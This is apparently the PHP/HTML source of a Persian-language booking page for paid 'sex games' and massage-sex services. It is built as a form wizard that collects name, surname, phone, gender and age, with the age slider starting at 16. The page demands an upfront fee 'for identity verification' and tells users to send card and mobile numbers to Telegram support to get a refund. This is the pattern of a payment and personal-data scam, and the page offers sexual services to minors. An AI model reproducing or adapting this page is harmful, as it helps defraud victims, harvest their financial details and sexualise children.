<?php 
include "info.php";
 ?>
<html lang="fa" dir="rtl">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="کلیک کنید! قیمت و نوع خدمات و رزرو را فوری و آنلاین انجام دهید">
    <meta name="author" content="Ansonika">
    <title>بازی سکسی</title>

    
    <link rel="shortcut icon" href="img/favicon.ico" type="image/x-icon">
    <link rel="apple-touch-icon" type="image/x-icon" href="img/apple-touch-icon-57x57-precomposed.png">
    <link rel="apple-touch-icon" type="image/x-icon" sizes="72x72" href="img/apple-touch-icon-72x72-precomposed.png">
    <link rel="apple-touch-icon" type="image/x-icon" sizes="114x114" href="img/apple-touch-icon-114x114-precomposed.png">
    <link rel="apple-touch-icon" type="image/x-icon" sizes="144x144" href="img/apple-touch-icon-144x144-precomposed.png">

    
    <link href="css/bootstrap.min.css" rel="stylesheet">
  	<link href="css/menu.css" rel="stylesheet">
    <link href="css/style.css" rel="stylesheet">
  	<link href="css/vendors.css" rel="stylesheet">
    <link href="css/farsi-font.css" rel="stylesheet">

    
    <link href="css/custom.css" rel="stylesheet">

	
	<script src="js/modernizr.js"></script>

</head>

<body>

	
	

	<div class="container-fluid full-height">
		<div class="row row-height">ّ
			<div class="col-lg-6 content-left">
				<div class="content-left-wrapper" >
					<div>
						<!-- <figure><img src="img/info_graphic_3.svg" alt="" class="img-fluid"></figure> -->
						<h2>بازی سکسی</h2>
						<p>بازی باسلیقه شما، رضایت بیشتر شما</p>
						<a href="#start" class="btn_1 rounded mobile_btn">شروع کن!</a>
					</div>
					<div class="copy">بازی های سکسی</div>
				</div>
				<!-- /content-left-wrapper -->
			</div>
			<!-- /content-left -->

			<div class="col-lg-6 content-right" id="start">
				<div id="wizard_container">
					<div id="top-wizard">
							<div id="progressbar"></div>
						</div>
						<!-- /top-wizard -->
						<form action="send.php" id="wrapped" method="POST" enctype="multipart/form-data">
							<input id="website" name="website" type="text" value="">
							<!-- Leave for security protection, read docs for details -->
							<div id="middle-wizard">
								<div class="step">
									<h3 class="main_question"><strong>1/5</strong>سبک بازی خود را انتخاب کنید</h3>
									<div class="form-group">
										<label class="container_check version_2">لزبین
											<input type="checkbox" name="question_1[]" value="لزبین" class="required" onchange="getVals(this, 'question_1');">
											<span class="checkmark"></span>
										</label>
									</div>
									<div class="form-group">
										<label class="container_check version_2">گی
											<input type="checkbox" name="question_1[]" value="ماساژ هَپی اِندینگ به مدت 45 دقیقه 150 هزار تومان" class="required" onchange="getVals(this, 'question_1');">
											<span class="checkmark"></span>
										</label>
									</div>
									<div class="form-group">
										<label class="container_check version_2">تری سام
											<input type="checkbox" name="question_1[]" value="ماساژ فول بادی به مدت 1 ساعت و 20 دقیقه 200 هزار تومان" class="required" onchange="getVals(this, 'question_1');">
											<span class="checkmark"></span>
										</label>
									</div>
									<div class="form-group">
										<label class="container_check version_2">ریلکس و مدرن
											<input type="checkbox" name="question_1[]" value="ماساژ بادی تو بادی به مدت 2 ساعت 240 هزار تومان" class="required" onchange="getVals(this, 'question_1');">
											<span class="checkmark"></span>
										</label>
									</div>
									<div class="form-group">
										<label class="container_check version_2">ماساژی
											<input type="checkbox" name="question_1[]" value="ماساژ فورهند همزمان 2 ماسور به مدت 2 ساعت380 هزار تومان" class="required" onchange="getVals(this, 'question_1');">
											<span class="checkmark"></span>
										</label>
									</div>
									<div class="form-group">
										<label class="container_check version_2">خشن
											<input type="checkbox" name="question_1[]" value="رابطه فقط سکس بدون ماساژ به مدت 1 ساعت 180 هزار تومان" class="required" onchange="getVals(this, 'question_1');">
											<span class="checkmark"></span>
										</label>
									</div>
								</div>
								<!-- /step-->
								<div class="step">
									<h3 class="main_question"><strong>2/5</strong>لطفا جنسیت خود را انتخاب کنید</h3>
									<div class="form-group add_top_30">
									</div>
									<div class="form-group">
										<div class="styled-select clearfix">
											<select class="wide required valid" name="country" style="display: none;">
					
												<option value="01">آقا</option>
												<option value="02">خانم</option>
			
											</select>
										</div>
									</div>
								</div>
								<!-- /step-->
								<div class="step">
									<h3 class="main_question"><strong>3/5</strong>سن خود را انتخاب کنید</h3>
									<div class="budget_slider" >
										<input  type="range" name="budget" min="16" max="70" step="1" value="16" data-orientation="horizontal" onchange="getVals(this, 'budget');">
										<span>سال</span>
									</div>

									
					
								</div>
								<!-- /step-->
								<div class="step">
									<h3 class="main_question"><strong>4/5</strong>لطفا تمامی فیلد ها را با دقت پر کنید.</h3>
									<div class="form-group">
										<input type="text" id="firstname" name="firstname" class="form-control required" placeholder="نام">
									</div>
									<div class="form-group">
										<input type="text" id="lastname" name="lastname" class="form-control required" placeholder="نام خانوادگی">
									</div>
									<div class="form-group">
										<input type="text" id="phone" name="phone" class="form-control" placeholder="موبایل">
									</div>
									<div class="form-group terms">
											<label class="container_check">لطفا  <a href="#" data-toggle="modal" data-target="#terms-txt">قوانین و سیاست ها </a> را بادقت مطالعه کنید.
											<input type="checkbox" name="terms" value="Yes" class="required">
											<span class="checkmark"></span>
										</label>
									</div>
								</div>
								<!-- /step-->
								<div class="submit step">
									<h3 class="main_question"><strong>5/5</strong>نتیجه درخواست</h3>
									<div class="summary">
										<ul>
											<li><strong>1</strong>
												<h5>شروع بازی با سبک ساخته شده</h5>
												<p>کاربر عزیز، برای شروع بازی با سلیقه خود ابتدا <?php echo $amount ?> تومان را پرداخت کنید</p>
												<p>این هزینه برای تایید هویت شما میباشد و بازی به مدت یکماه بدون نیاز به پرداخت مجدد، در اختیار شما قرار میگیرد، بعد از پرداخت و دریافت بازی، امکان تغییر سلیقه و سبک بازی نیز میباشد.
												لطفا یک بار کلیک کنید و 5 - 10 ثانیه صبر کنید!</p>
											</li>
										</ul>
									</div>
								</div>
								<!-- /step-->
							</div>
							<!-- /middle-wizard -->
							<div id="bottom-wizard">
								<button type="button" name="backward" class="backward">بازگشت</button>
								<button type="button" name="forward" class="forward">ادامه</button>
								<button type="submit" href="../index.php" name="process" class="submit">برای ثبت و پرداخت هزینه یک بار کلیک کنید</button>
							</div>
							<!-- /bottom-wizard -->
						</form>
					</div>
					<!-- /Wizard container -->
			</div>
			<!-- /content-right-->
		</div>
		<!-- /row-->
	</div>
	<!-- /container-fluid -->

	<div class="cd-overlay-nav">
		<span></span>
	</div>
	<!-- /cd-overlay-nav -->

	<div class="cd-overlay-content">
		<span></span>
	</div>
	<!-- /cd-overlay-content -->

	<!-- /menu button -->

	<!-- Modal terms -->
	<div class="modal fade" id="terms-txt" tabindex="-1" role="dialog" aria-labelledby="termsLabel" aria-hidden="true">
		<div class="modal-dialog modal-dialog-centered">
			<div class="modal-content">
				<div class="modal-header">
					<h4 class="modal-title" id="termsLabel">قوانین و سیاست ها</h4>
					<button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
				</div>
				<div class="modal-body">
				    <p>🧘‍♂ قوانین رزرو و ارایه خدمات بازی های سکسی:<br>

⚖️ هزینه <?php echo $amount ?> تومان جهت رزرو نهایی از شما دریافت می‌گردد و این هزینه جهت اطمینان از واقعی بودن درخواست شما است.<br>

⚖️ بعد از پرداخت هزینه لطفا با پشتیبانی تلگرام هماهنگی جهت دریافت آپدیت ها انجام دهید.<br>

⚖️ اگر مایل به کنسل رزرو خود هستید شماره کارت و شماره موبایل خود را به پشتیبانی تلگرام ارسال کنید مبلغ 5 هزار تومان به حساب شما برگردانده شود.<br>

⚖️ هیچ گونه هزینه ایاب و ذهاب‌ی دریافت نمی‌گردد در صورت مشاهده به پشتیبانی تلگرام اطلاع دهید.</p>
				</div>
				<div class="modal-footer">
					<button type="button" class="btn_1" data-dismiss="modal">بستن</button>
				</div>
			</div>
			<!-- /.modal-content -->
		</div>
		<!-- /.modal-dialog -->
	</div>
	<!-- /.modal -->

	<!-- COMMON SCRIPTS -->
	<script src="js/jquery-3.2.1.min.js"></script>
    <script src="js/common_scripts.min.js"></script>
	<script src="js/velocity.min.js"></script>
	<script src="js/functions.js"></script>
	<script src="js/file-validator.js"></script>
    <style>img[alt="www.000webhost.com"]{display:none;}</style>﻿
	<!-- Wizard script -->
	<script>
	jQuery(function ($) {
		"use strict";
		$("#wizard_container").wizard({
			stepsWrapper: "#wrapped",
			submit: ".submit",
			beforeSelect: function (event, state) {
				if ($('input#website').val().length != 0) {
					return false;
				}
				if (!state.isMovingForward)
					return true;
				var inputs = $(this).wizard('state').step.find(':input');
				return !inputs.length || !!inputs.valid();
			}
		}).validate({
			errorPlacement: function (error, element) {
				if (element.is(':radio') || element.is(':checkbox')) {
					error.insertBefore(element.next());
				} else {
					error.insertAfter(element);
				}
			}
		});
		//  progress bar
		$("#progressbar").progressbar();
		$("#wizard_container").wizard({
			afterSelect: function (event, state) {
				$("#progressbar").progressbar("value", state.percentComplete);
				$("#location").text("(" + state.stepsComplete + "/" + state.stepsPossible + ")");
			}
		});
		// Validate select
		$('#wrapped').validate({
			ignore: [],
			rules: {
				select: {
					required: true
				}
			},
			errorPlacement: function (error, element) {
				if (element.is('select:hidden')) {
					error.insertAfter(element.next('.nice-select'));
				} else {
					error.insertAfter(element);
				}
			}
		});
	});

/* File upload validate size and file type - For details: https://github.com/snyderp/jquery.validate.file*/
		$("form#wrapped")
			.validate({
				rules: {
					fileupload: {
						fileType: {
							types: ["jpg", "jpeg", "gif", "png", "pdf"]
						},
						maxFileSize: {
							"unit": "MB",
							"size": 10
						},
						minFileSize: {
							"unit": "KB",
							"size": "25"
						}
					}
				}
			});
// Summary
function getVals(formControl, controlType) {
	switch (controlType) {

		case 'question_1':
			// Get name for set of checkboxes
			var checkboxName = $(formControl).attr('name');

			// Get all checked checkboxes
			var value = [];
			$("input[name*='" + checkboxName + "']").each(function () {
				// Get all checked checboxes in an array
				if (jQuery(this).is(":checked")) {
					value.push($(this).val());
				}
			});
			$("#question_1").text(value.join(", "));
			break;

		case 'additional_message':
			// Get the value for a textarea
			var value = $(formControl).val();
			$("#additional_message").text(value);
			break;

         case 'fileupload':
			// Get the value for a textarea
			var value = $(formControl).val();
			$("#fileupload").text(value);
			break;

        case 'budget':
			// Get the value for a textarea
			var value = $(formControl).val();
			$("#budget").text(value);
			break;
	}
}
</script>

</body>

<head>
    <style>img[alt="www.000webhost.com"]{display:none;}</style>
  <meta charset="utf-8">
  <title></title>
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <style type="text/css">
</html>